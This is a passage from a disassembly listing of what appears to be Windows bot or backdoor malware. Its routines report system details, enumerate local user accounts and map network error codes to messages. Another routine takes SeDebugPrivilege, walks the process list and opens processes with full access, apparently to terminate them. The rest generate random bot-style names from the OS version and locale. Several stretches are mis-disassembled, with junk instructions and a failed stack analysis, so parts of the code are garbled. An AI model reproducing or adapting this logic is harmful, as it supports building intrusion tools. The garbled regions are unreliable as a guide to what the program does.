		call	sub_41050B
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40E367
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+4Ch]
		lea	eax, [ebp+var_204]
		push	offset aUserSLanguageD ; "User's Language: %d"
		push	eax
		call	sub_41050B
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40E367
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+40h]
		lea	eax, [ebp+var_204]
		push	offset aMax_StorageD ; "Max. Storage: %d"
		push	eax
		call	sub_41050B
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40E367
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+44h]
		lea	eax, [ebp+var_204]
		push	offset aUnitsPerWeekD ;	"Units Per Week: %d"
		push	eax
		call	sub_41050B
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40E367
		add	esp, 20h
		pop	edi
		pop	ebx
		jmp	short loc_40EFFB
; ---------------------------------------------------------------------------


loc_40EFCF:				; CODE XREF: sub_40EC42+35j
		push	eax
		lea	eax, [ebp+var_204]
		push	offset dword_42D4E0
		push	eax
		call	sub_41050B
		push	0
		lea	eax, [ebp+var_204]
		push	[ebp+arg_10]
		push	eax
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_40E367
		add	esp, 20h


loc_40EFFB:				; CODE XREF: sub_40EC42+38Bj
		cmp	[ebp+var_4], 0
		jz	short loc_40F00A
		push	[ebp+var_4]
		call	ds:dword_430820


loc_40F00A:				; CODE XREF: sub_40EC42+40j
					; sub_40EC42+3BDj
		mov	eax, [ebp+arg_0]
		pop	esi
		leave
		retn
sub_40EC42	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F010	proc near		; CODE XREF: seg000:0040AC32p

var_218		= byte ptr -218h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 218h
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	[ebp+arg_C]
		mov	[ebp+var_4], esi
		call	sub_40E977
		push	esi
		mov	[ebp+var_14], eax
		push	[ebp+arg_8]
		mov	[ebp+arg_C], esi
		mov	[ebp+var_18], esi
		mov	[ebp+var_10], esi
		push	offset aUsernameAccoun ; "Username accounts for	local system:"
		mov	[ebp+var_8], esi
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40E367
		add	esp, 18h


loc_40F04F:				; CODE XREF: sub_40F010+135j
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_4]
		push	0FFFFFFFFh
		push	eax
		push	2
		push	esi
		push	[ebp+var_14]
		call	ds:dword_430708
		cmp	eax, esi
		mov	[ebp+var_C], eax
		jz	short loc_40F0B0
		cmp	eax, 0EAh
		jz	short loc_40F0B0
		push	eax
		push	eax
		call	sub_40F190
		pop	ecx
		push	eax
		lea	eax, [ebp+var_218]
		push	offset dword_42D6E8
		push	eax
		call	sub_41050B
		push	esi
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40E367
		add	esp, 24h
		jmp	short loc_40F12B
; ---------------------------------------------------------------------------


loc_40F0B0:				; CODE XREF: sub_40F010+62j
					; sub_40F010+69j
		mov	edi, [ebp+var_4]
		cmp	edi, esi
		jz	loc_40F13E
		xor	ebx, ebx
		cmp	[ebp+arg_C], esi
		jbe	short loc_40F12B


loc_40F0C2:				; CODE XREF: sub_40F010+EDj
		cmp	edi, esi
		jz	short loc_40F101
		push	dword ptr [edi]
		lea	eax, [ebp+var_218]
		push	offset aS_4	; "  %S"
		push	eax
		call	sub_41050B
		push	1
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40E367
		add	esp, 20h
		add	edi, 4
		inc	[ebp+var_8]
		inc	ebx
		cmp	ebx, [ebp+arg_C]
		jb	short loc_40F0C2
		jmp	short loc_40F12B
; ---------------------------------------------------------------------------


loc_40F101:				; CODE XREF: sub_40F010+B4j
		lea	eax, [ebp+var_218]
		push	offset dword_42D6A0
		push	eax
		call	sub_41050B
		push	esi
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40E367
		add	esp, 1Ch


loc_40F12B:				; CODE XREF: sub_40F010+9Ej
					; sub_40F010+B0j ...
		mov	edi, [ebp+var_4]
		cmp	edi, esi
		jz	short loc_40F13E
		push	edi
		call	ds:dword_430820
		xor	edi, edi
		mov	[ebp+var_4], edi


loc_40F13E:				; CODE XREF: sub_40F010+A5j
					; sub_40F010+120j
		cmp	[ebp+var_C], 0EAh
		jz	loc_40F04F
		cmp	edi, esi
		jz	short loc_40F156
		push	edi
		call	ds:dword_430820


loc_40F156:				; CODE XREF: sub_40F010+13Dj
		push	[ebp+var_8]
		lea	eax, [ebp+var_218]
		push	offset aTotalUsersFoun ; "Total	users found: %d."
		push	eax
		call	sub_41050B
		push	esi
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40E367
		add	esp, 20h
		xor	eax, eax
		cmp	[ebp+var_C], esi
		pop	edi
		pop	esi
		setz	al
		pop	ebx
		leave
		retn
sub_40F010	endp


; =============== S U B	R O U T	I N E =======================================



sub_40F190	proc near		; CODE XREF: sub_40E7E6+41p
					; sub_40E9DB+69p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ecx, 858h
		cmp	eax, ecx
		ja	loc_40F242
		jz	loc_40F23B
		cmp	eax, 7Bh
		ja	short loc_40F207
		jz	short loc_40F1FD
		cmp	eax, 5
		jz	short loc_40F1F3
		cmp	eax, 8
		jz	short loc_40F1E9
		cmp	eax, 32h
		jz	short loc_40F1DF
		cmp	eax, 35h
		jz	short loc_40F1D5
		cmp	eax, 57h
		jnz	loc_40F291
		push	offset aInvalidParamet ; "Invalid parameter."
		jmp	loc_40F2B2
; ---------------------------------------------------------------------------


loc_40F1D5:				; CODE XREF: sub_40F190+30j
		push	offset aServerNameNotF ; "Server name not found."
		jmp	loc_40F2B2
; ---------------------------------------------------------------------------


loc_40F1DF:				; CODE XREF: sub_40F190+2Bj
		push	offset aThisNetworkReq ; "This network request is not supported."
		jmp	loc_40F2B2
; ---------------------------------------------------------------------------


loc_40F1E9:				; CODE XREF: sub_40F190+26j
		push	offset aNotEnoughMemor ; "Not enough memory."
		jmp	loc_40F2B2
; ---------------------------------------------------------------------------


loc_40F1F3:				; CODE XREF: sub_40F190+21j
		push	offset aAccessDenied_ ;	"Access	denied."
		jmp	loc_40F2B2
; ---------------------------------------------------------------------------


loc_40F1FD:				; CODE XREF: sub_40F190+1Cj
		push	offset aTheNameIsInval ; "The name is invalid."
		jmp	loc_40F2B2
; ---------------------------------------------------------------------------


loc_40F207:				; CODE XREF: sub_40F190+1Aj
		sub	eax, 7Ch
		jz	short loc_40F234
		sub	eax, 7C8h
		jz	short loc_40F22D
		dec	eax
		jz	short loc_40F223
		dec	eax
		jnz	short loc_40F291
		push	offset aDuplicateShare ; "Duplicate share name."
		jmp	loc_40F2B2
; ---------------------------------------------------------------------------


loc_40F223:				; CODE XREF: sub_40F190+84j
		push	offset aInvalidForRedi ; "Invalid for redirected resource."
		jmp	loc_40F2B2
; ---------------------------------------------------------------------------


loc_40F22D:				; CODE XREF: sub_40F190+81j
		push	offset aDeviceOrDirect ; "Device or directory does not exist."
		jmp	short loc_40F2B2
; ---------------------------------------------------------------------------


loc_40F234:				; CODE XREF: sub_40F190+7Aj
		push	offset aLevelParameter ; "Level	parameter is invalid."
		jmp	short loc_40F2B2
; ---------------------------------------------------------------------------


loc_40F23B:				; CODE XREF: sub_40F190+11j
		push	offset aAGeneralFailur ; "A general failure occurred in	the netwo"...
		jmp	short loc_40F2B2
; ---------------------------------------------------------------------------


loc_40F242:				; CODE XREF: sub_40F190+Bj
		mov	ecx, 8C5h
		cmp	eax, ecx
		ja	short loc_40F27B
		jz	short loc_40F274
		sub	eax, 8ADh
		jz	short loc_40F2A6
		dec	eax
		dec	eax
		jz	short loc_40F26D
		dec	eax
		jz	short loc_40F266
		dec	eax
		dec	eax
		jnz	short loc_40F291
		push	offset aTheOperationIs ; "The operation	is allowed only	on the pr"...
		jmp	short loc_40F2B2
; ---------------------------------------------------------------------------


loc_40F266:				; CODE XREF: sub_40F190+C9j
		push	offset aTheUserAccount ; "The user account already exists."
		jmp	short loc_40F2B2
; ---------------------------------------------------------------------------


loc_40F26D:				; CODE XREF: sub_40F190+C6j
		push	offset aTheGroupAlread ; "The group already exists."
		jmp	short loc_40F2B2
; ---------------------------------------------------------------------------


loc_40F274:				; CODE XREF: sub_40F190+BBj
		push	offset aThePasswordIsS ; "The password is shorter than required	("...
		jmp	short loc_40F2B2
; ---------------------------------------------------------------------------


loc_40F27B:				; CODE XREF: sub_40F190+B9j
		sub	eax, 8CAh
		jz	short loc_40F2AD
		sub	eax, 17h
		jz	short loc_40F2A6
		sub	eax, 25h
		jz	short loc_40F29F
		sub	eax, 29h
		jz	short loc_40F298


loc_40F291:				; CODE XREF: sub_40F190+35j
					; sub_40F190+87j ...
		push	offset aAnUnknownErr_0 ; "An unknown error occurred."
		jmp	short loc_40F2B2
; ---------------------------------------------------------------------------


loc_40F298:				; CODE XREF: sub_40F190+FFj
		push	offset aTheComputerNam ; "The computer name is invalid."
		jmp	short loc_40F2B2
; ---------------------------------------------------------------------------


loc_40F29F:				; CODE XREF: sub_40F190+FAj
		push	offset aShareNotFound_ ; "Share	not found."
		jmp	short loc_40F2B2
; ---------------------------------------------------------------------------


loc_40F2A6:				; CODE XREF: sub_40F190+C2j
					; sub_40F190+F5j
		push	offset aTheUserNameCou ; "The user name	could not be found."
		jmp	short loc_40F2B2
; ---------------------------------------------------------------------------


loc_40F2AD:				; CODE XREF: sub_40F190+F0j
		push	offset aNetworkConnect ; "Network connection not found."


loc_40F2B2:				; CODE XREF: sub_40F190+40j
					; sub_40F190+4Aj ...
		push	offset dword_45EFB0
		call	sub_41050B
		pop	ecx
		mov	eax, offset dword_45EFB0
		pop	ecx
		retn
sub_40F190	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F2C4	proc near		; CODE XREF: seg000:0040AC77p

var_718		= byte ptr -718h
var_318		= byte ptr -318h
var_108		= byte ptr -108h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 718h
		push	esi
		push	200h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_718]
		push	eax
		call	sub_4128E9
		add	esp, 0Ch
		lea	eax, [ebp+arg_0]
		mov	esi, 108h
		push	eax
		lea	eax, [ebp+var_108]
		push	eax
		mov	[ebp+arg_0], esi
		call	near ptr 3D0000h
		push	ss
		lea	eax, [ebp+var_108]
		push	esi
		push	eax
		lea	eax, [ebp+var_318]
		push	eax
		call	sub_4128E9
		lea	eax, [ebp+var_718]
		push	eax
		call	sub_4128CC
		add	esp, 10h
		shl	eax, 1
		push	eax
		lea	eax, [ebp+var_718]
		push	eax
		lea	eax, [ebp+var_318]
		push	0
		push	eax
		push	0
		call	ds:dword_4307A4
		test	eax, eax
		jnz	short loc_40F354
		mov	esi, offset dword_45EDAC
		push	offset dword_42DA40
		push	esi
		call	sub_41050B
		pop	ecx
		pop	ecx
		jmp	short loc_40F37D
; ---------------------------------------------------------------------------


loc_40F354:				; CODE XREF: sub_40F2C4+7Aj
		lea	ecx, [ebp+var_718]
		push	ecx
		lea	ecx, [ebp+var_318]
		push	ecx
		push	eax
		call	sub_40F190
		pop	ecx
		mov	esi, offset dword_45EDAC
		push	eax
		push	offset dword_42DA04
		push	esi
		call	sub_41050B
		add	esp, 14h


loc_40F37D:				; CODE XREF: sub_40F2C4+8Ej
		mov	eax, esi
		pop	esi
		leave
		retn
sub_40F2C4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F382	proc near		; CODE XREF: sub_4070B7+7p
					; seg000:0040F44Cp ...

var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		lea	eax, [ebp+var_4]
		push	eax
		push	28h
		call	near ptr 3D0000h
		arpl	[eax-1], dx
		adc	eax, offset dword_430778
		test	eax, eax
		jnz	short loc_40F3A1
		leave
		retn
; ---------------------------------------------------------------------------


loc_40F3A1:				; CODE XREF: sub_40F382+1Bj
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		xor	esi, esi
		push	[ebp+arg_0]
		push	esi
		call	ds:dword_430754	; LookupPrivilegeValueA
		test	eax, eax
		jz	short loc_40F3DF
		cmp	[ebp+arg_4], esi
		mov	[ebp+var_14], 1
		jz	short loc_40F3C8
		or	[ebp+var_8], 2
		jmp	short loc_40F3CC
; ---------------------------------------------------------------------------


loc_40F3C8:				; CODE XREF: sub_40F382+3Ej
		and	[ebp+var_8], 0FFFFFFFDh


loc_40F3CC:				; CODE XREF: sub_40F382+44j
		push	esi
		push	esi
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		push	esi
		push	[ebp+var_4]
		call	ds:dword_4307FC	; AdjustTokenPrivileges
		mov	esi, eax


loc_40F3DF:				; CODE XREF: sub_40F382+32j
		push	[ebp+var_4]
		call	ds:dword_41C070	; CloseHandle
		mov	eax, esi
		pop	esi
		leave
		retn
sub_40F382	endp

; ---------------------------------------------------------------------------


loc_40F3ED:				; CODE XREF: seg000:0040D02Bp
					; sub_40F59E+74p
		push	ebp
		mov	ebp, esp
		sub	esp, 550h
		push	ebx
		push	esi
		push	edi
		push	49h
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		cmp	ds:dword_4307B4, ebx
		lea	edi, [ebp-128h]
		mov	[ebp-12Ch], ebx
		rep stosd
		mov	ecx, 88h
		lea	edi, [ebp-34Ch]
		mov	[ebp-350h], ebx
		rep stosd
		jz	loc_40F597
		cmp	ds:dword_430798, ebx
		jz	loc_40F597
		cmp	ds:dword_4306C4, ebx
		jz	loc_40F597
		push	1
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_40F382
		pop	ecx
		pop	ecx
		push	ebx
		push	0Fh
		call	ds:dword_4307B4	; CreateToolhelp32Snapshot
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-4], eax
		jz	loc_40F58A
		lea	eax, [ebp-12Ch]
		mov	dword ptr [ebp-12Ch], 128h
		push	eax
		push	dword ptr [ebp-4]
		call	ds:dword_430798	; Process32First
		mov	esi, ds:dword_41C070
		test	eax, eax
		jz	loc_40F585


loc_40F490:				; CODE XREF: seg000:0040F4ABj
					; seg000:0040F4B9j ...
		lea	eax, [ebp-12Ch]
		push	eax
		push	dword ptr [ebp-4]
		call	ds:dword_4306C4	; Process32Next
		test	eax, eax
		jz	loc_40F585
		cmp	[ebp+18h], ebx
		jnz	short loc_40F490
		cmp	[ebp+14h], ebx
		jnz	loc_40F53D
		cmp	[ebp+0Ch], ebx
		jz	short loc_40F490
		push	dword ptr [ebp-124h]
		push	8
		call	ds:dword_4307B4	; CreateToolhelp32Snapshot
		cmp	[ebp+1Ch], ebx
		mov	edi, eax
		mov	dword ptr [ebp-350h], 224h
		jz	short loc_40F4FA
		lea	eax, [ebp-350h]
		push	eax
		push	edi
		call	ds:dword_430674	; Module32First
		push	dword ptr [ebp-124h]
		test	eax, eax
		jz	short loc_40F500
		lea	eax, [ebp-230h]
		jmp	short loc_40F506
; ---------------------------------------------------------------------------


loc_40F4FA:				; CODE XREF: seg000:0040F4D8j
		push	dword ptr [ebp-124h]


loc_40F500:				; CODE XREF: seg000:0040F4F0j
		lea	eax, [ebp-108h]


loc_40F506:				; CODE XREF: seg000:0040F4F8j
		push	eax
		lea	eax, [ebp-550h]
		push	offset aSD_0	; " %s (%d)"
		push	eax
		call	sub_41050B
		add	esp, 10h
		lea	eax, [ebp-550h]
		push	1
		push	dword ptr [ebp+10h]
		push	eax
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	sub_40E367
		add	esp, 14h
		push	edi
		call	esi	; CloseHandle
		jmp	loc_40F490
; ---------------------------------------------------------------------------


loc_40F53D:				; CODE XREF: seg000:0040F4B0j
		push	dword ptr [ebp+14h]
		lea	eax, [ebp-108h]
		push	eax
		call	sub_410930
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40F490
		push	dword ptr [ebp-124h]
		push	ebx
		push	1F0FFFh
		call	near ptr 3D0000h


loc_40F567:				; CODE XREF: seg000:0040F569j
					; seg000:loc_40F567j
		loop	near ptr loc_40F567+1
		jnz	short loc_40F567
		mov	edi, eax
		call	esi	; CloseHandle
		push	ebx
		push	edi
		call	near ptr 3D0000h
		call	far ptr	0FF57h:575C085h
		setalc
		jmp	short loc_40F597
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		jmp	short loc_40F599
; ---------------------------------------------------------------------------


loc_40F585:				; CODE XREF: seg000:0040F48Aj
					; seg000:0040F4A2j
		push	dword ptr [ebp-4]
		call	esi	; CloseHandle


loc_40F58A:				; CODE XREF: seg000:0040F462j
		push	ebx
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_40F382
		pop	ecx
		pop	ecx


loc_40F597:				; CODE XREF: seg000:0040F427j
					; seg000:0040F433j ...
		xor	eax, eax


loc_40F599:				; CODE XREF: seg000:0040F583j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F59E	proc near		; DATA XREF: seg000:0040DBC8o

var_298		= byte ptr -298h
var_98		= dword	ptr -98h
var_94		= byte ptr -94h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 298h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	26h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_98]
		push	offset dword_42DB10
		rep movsd
		mov	dword ptr [eax+94h], 1
		lea	eax, [ebp+var_298]
		push	eax
		call	sub_41050B
		xor	esi, esi
		pop	ecx
		cmp	[ebp+var_8], esi
		pop	ecx
		jnz	short loc_40F5FD
		push	esi
		lea	eax, [ebp+var_298]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		push	[ebp+var_98]
		call	sub_40E367
		add	esp, 14h


loc_40F5FD:				; CODE XREF: sub_40F59E+3Dj
		push	[ebp+var_10]
		lea	eax, [ebp+var_94]
		push	esi
		push	esi
		push	[ebp+var_C]
		push	eax
		push	[ebp+var_98]
		call	loc_40F3ED
		add	esp, 18h
		test	eax, eax
		jnz	short loc_40F625
		push	offset dword_42DAD4
		jmp	short loc_40F62A
; ---------------------------------------------------------------------------


loc_40F625:				; CODE XREF: sub_40F59E+7Ej
		push	offset dword_42DA9C


loc_40F62A:				; CODE XREF: sub_40F59E+85j
		lea	eax, [ebp+var_298]
		push	eax
		call	sub_41050B
		cmp	[ebp+var_8], esi
		pop	ecx
		pop	ecx
		jnz	short loc_40F65D
		push	esi
		lea	eax, [ebp+var_298]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		push	[ebp+var_98]
		call	sub_40E367
		add	esp, 14h


loc_40F65D:				; CODE XREF: sub_40F59E+9Dj
		lea	eax, [ebp+var_298]
		push	eax
		call	sub_407E0E
		push	[ebp+var_14]
		call	sub_4102D3
		pop	ecx
		pop	ecx
		push	esi
		call	near ptr 3D0000h
		sahf
		pop	edi
		pop	esi
sub_40F59E	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40F67C	proc near		; CODE XREF: seg000:0040CFCDp
					; sub_4100F2+53p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		push	1
		pop	edi
		push	[esp+8+arg_0]
		push	0
		push	1F0FFFh
		call	near ptr 3D0000h
		db	65h
		mov	esi, eax
		test	esi, esi
		jz	short loc_40F6AE
		push	0
		push	esi
		call	near ptr 3D0000h
		dec	ebp
		test	eax, eax
		jnz	short loc_40F6AE
		push	esi
		xor	edi, edi
		call	ds:dword_41C070	; CloseHandle


loc_40F6AE:				; CODE XREF: sub_40F67C+1Aj
					; sub_40F67C+27j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_40F67C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F6B3	proc near		; CODE XREF: sub_40318D+63p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		call	sub_410567
		mov	esi, [ebp+arg_0]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_4]
		fild	[ebp+var_4]
		sub	eax, esi
		mov	[ebp+arg_4], eax
		fimul	[ebp+arg_4]
		fmul	ds:dbl_41C648
		call	sub_410DD4
		sub	esi, eax
		mov	eax, esi
		pop	esi
		leave
		retn
sub_40F6B3	endp


; =============== S U B	R O U T	I N E =======================================



sub_40F6E3	proc near		; CODE XREF: sub_40FA4E+49p
					; DATA XREF: seg002:off_42DB58o

var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  4

		push	esi
		push	edi
		call	ds:dword_41C04C	; GetTickCount
		push	eax
		call	sub_41055D
		mov	edi, [esp+0Ch+arg_0]
		mov	[esp+0Ch+var_C], offset	dword_423094
		push	offset aS_1	; "%s"
		push	1Ch
		push	edi
		call	sub_410A8A
		xor	esi, esi
		add	esp, 10h
		cmp	ds:dword_423010, esi
		jle	short loc_40F73C


loc_40F716:				; CODE XREF: sub_40F6E3+57j
		call	sub_410567
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_42DBAC
		push	1Ch
		push	edi
		call	sub_410A8A
		add	esp, 14h
		inc	esi
		cmp	esi, ds:dword_423010
		jl	short loc_40F716


loc_40F73C:				; CODE XREF: sub_40F6E3+31j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_40F6E3	endp


; =============== S U B	R O U T	I N E =======================================



sub_40F741	proc near		; CODE XREF: seg000:0040C769p

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		call	ds:dword_41C04C	; GetTickCount
		push	eax
		call	sub_41055D
		pop	ecx
		call	sub_410567
		push	3
		mov	ebx, [esp+10h+arg_0]
		cdq
		pop	ecx
		xor	edi, edi
		idiv	ecx
		mov	esi, edx
		add	esi, ds:dword_423010
		test	esi, esi
		jle	short loc_40F784


loc_40F76E:				; CODE XREF: sub_40F741+41j
		call	sub_410567
		push	1Ah
		cdq
		pop	ecx
		idiv	ecx
		add	dl, 61h
		mov	[edi+ebx], dl
		inc	edi
		cmp	edi, esi
		jl	short loc_40F76E


loc_40F784:				; CODE XREF: sub_40F741+2Bj
		and	byte ptr [edi+ebx], 0
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_40F741	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		and	dword ptr [ebp-4], 0
		push	esi
		push	edi
		mov	dword ptr [ebp-8], 100h
		call	ds:dword_41C04C	; GetTickCount
		push	eax
		call	sub_41055D
		pop	ecx
		lea	eax, [ebp-8]
		mov	esi, offset dword_42DBB4
		push	eax
		push	esi
		call	near ptr 3D0000h
		arpl	[edi], cx
		mov	esi, 42DBB405h
		add	[edx+41h], ch
		pop	ecx
		push	1
		pop	edx


loc_40F7CA:				; CODE XREF: seg000:0040F7D5j
		cmp	eax, ecx
		jnz	short loc_40F7D1
		mov	[ebp-4], edx


loc_40F7D1:				; CODE XREF: seg000:0040F7CCj
		inc	ecx
		cmp	ecx, 5Bh
		jl	short loc_40F7CA
		push	61h
		pop	ecx


loc_40F7DA:				; CODE XREF: seg000:0040F7E5j
		cmp	eax, ecx
		jnz	short loc_40F7E1
		mov	[ebp-4], edx


loc_40F7E1:				; CODE XREF: seg000:0040F7DCj
		inc	ecx
		cmp	ecx, 7Bh
		jl	short loc_40F7DA
		mov	edi, [ebp+8]
		push	esi
		push	1Ch
		push	edi
		call	sub_410A8A
		xor	esi, esi
		add	esp, 0Ch
		cmp	ds:dword_423010, esi
		jle	short loc_40F826


loc_40F800:				; CODE XREF: seg000:0040F824j
		call	sub_410567
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_42DBAC
		push	1Ch
		push	edi
		call	sub_410A8A
		add	esp, 14h
		inc	esi
		cmp	esi, ds:dword_423010
		jl	short loc_40F800


loc_40F826:				; CODE XREF: seg000:0040F7FEj
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		push	edi
		call	ds:dword_41C04C	; GetTickCount
		push	eax
		call	sub_41055D
		pop	ecx
		lea	eax, [ebp-0Ch]
		push	0Ah
		push	eax
		push	7
		push	800h
		call	ds:dword_41C130	; GetLocaleInfoA
		mov	edi, [ebp+8]
		lea	eax, [ebp-0Ch]
		push	eax
		push	offset dword_42DBB8
		push	1Ch
		push	edi
		call	sub_410A8A
		xor	esi, esi
		add	esp, 10h
		cmp	ds:dword_423010, esi
		jle	short loc_40F89B


loc_40F875:				; CODE XREF: seg000:0040F899j
		call	sub_410567
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_42DBAC
		push	1Ch
		push	edi
		call	sub_410A8A
		add	esp, 14h
		inc	esi
		cmp	esi, ds:dword_423010
		jl	short loc_40F875


loc_40F89B:				; CODE XREF: seg000:0040F873j
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 94h
		push	esi
		lea	eax, [ebp-94h]
		push	edi
		push	eax
		mov	esi, offset dword_42F3E8
		mov	dword ptr [ebp-94h], 94h
		call	ds:dword_41C0EC	; GetVersionExA
		call	ds:dword_41C04C	; GetTickCount
		push	eax
		call	sub_41055D
		cmp	dword ptr [ebp-90h], 4
		pop	ecx
		jnz	short loc_40F925
		cmp	dword ptr [ebp-8Ch], 0
		jnz	short loc_40F905
		cmp	dword ptr [ebp-84h], 1
		jnz	short loc_40F8F5
		mov	esi, offset a95	; "95"


loc_40F8F5:				; CODE XREF: seg000:0040F8EEj
		cmp	dword ptr [ebp-84h], 2
		jnz	short loc_40F961
		mov	esi, offset aNt	; "NT"
		jmp	short loc_40F961
; ---------------------------------------------------------------------------


loc_40F905:				; CODE XREF: seg000:0040F8E5j
		cmp	dword ptr [ebp-8Ch], 0Ah
		jnz	short loc_40F915
		mov	esi, offset a98	; "98"
		jmp	short loc_40F961
; ---------------------------------------------------------------------------


loc_40F915:				; CODE XREF: seg000:0040F90Cj
		cmp	dword ptr [ebp-8Ch], 5Ah
		jnz	short loc_40F95C
		mov	esi, offset aMe	; "ME"
		jmp	short loc_40F961
; ---------------------------------------------------------------------------


loc_40F925:				; CODE XREF: seg000:0040F8DCj
		cmp	dword ptr [ebp-90h], 5
		jnz	short loc_40F95C
		cmp	dword ptr [ebp-8Ch], 0
		jnz	short loc_40F93E
		mov	esi, offset a2k	; "2K"
		jmp	short loc_40F961
; ---------------------------------------------------------------------------


loc_40F93E:				; CODE XREF: seg000:0040F935j
		cmp	dword ptr [ebp-8Ch], 1
		jnz	short loc_40F94E
		mov	esi, offset aXp	; "XP"
		jmp	short loc_40F961
; ---------------------------------------------------------------------------


loc_40F94E:				; CODE XREF: seg000:0040F945j
		cmp	dword ptr [ebp-8Ch], 2
		mov	esi, offset dword_42DBC4
		jz	short loc_40F961


loc_40F95C:				; CODE XREF: seg000:0040F91Cj
					; seg000:0040F92Cj
		mov	esi, offset dword_422AE4


loc_40F961:				; CODE XREF: seg000:0040F8FCj
					; seg000:0040F903j ...
		mov	edi, [ebp+8]
		push	esi
		push	offset dword_42DBBC
		push	1Ch
		push	edi
		call	sub_410A8A
		xor	esi, esi
		add	esp, 10h
		cmp	ds:dword_423010, esi
		jle	short loc_40F9A5


loc_40F97F:				; CODE XREF: seg000:0040F9A3j
		call	sub_410567
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_42DBAC
		push	1Ch
		push	edi
		call	sub_410A8A
		add	esp, 14h
		inc	esi
		cmp	esi, ds:dword_423010
		jl	short loc_40F97F


loc_40F9A5:				; CODE XREF: seg000:0040F97Dj
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F9AB	proc near		; CODE XREF: sub_40FA4E+5Cp

var_1C		= byte ptr -1Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	esi
		call	ds:dword_41C04C	; GetTickCount
		xor	edx, edx
